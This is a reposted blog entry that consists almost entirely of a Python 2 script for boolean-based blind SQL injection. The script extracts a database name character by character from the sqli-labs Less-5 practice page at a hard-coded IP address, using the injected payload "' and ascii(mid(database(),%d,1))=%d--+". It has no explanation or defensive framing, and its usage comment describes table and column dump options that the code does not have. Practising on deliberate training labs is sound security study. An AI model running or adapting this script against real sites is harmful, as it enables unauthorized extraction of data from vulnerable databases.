zoukankan      html  css  js  c++  java
  • 盲注脚本2.基于bool

    盲注脚本2.基于bool

     1 #!/usr/bin/env python 
     2 #encoding:utf-8
     3 #by i3ekr
     4 #using
     5 #    python sqlinject.py -D "数据库名" -T "表明" -C "列明" --dump "列明"
     6 #
     7 import requests,re,os
     8 web = "http://139.199.179.167/sql-inject/sqli-labs/Less-5/index.php?id=1"
     9 payloads = list("abcdefghijklmnopqrstuvwxyz0123456789@_.")
    10 headers = {
    11     'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
    12 }
    13 value = ''
    14 
    15 for i in xrange(1,15,1):
    16     for payload in payloads:
    17         url = web + "' and ascii(mid(database(),%d,1))=%d--+"%(i,ord(payload))
    18         html_doc = requests.get(url,params=headers,timeout=2).text
    19         if "You are" in html_doc:
    20             value += payload
    21             print "[+][%d] database name is:%s"%(i,payload)
    22             break
    23         else:
    24             pass
    25 
    26 print value
  • 相关阅读:
    协成
    进程与线程-多线程
    进程与线程2
    进程与线程
    socket编程
    常用模块二(hashlib、configparser、logging)
    异常处理
    python之路——面向对象进阶
    封装
    初识——面向对象
  • 原文地址:https://www.cnblogs.com/nul1/p/8537202.html
Copyright © 2011-2022 走看看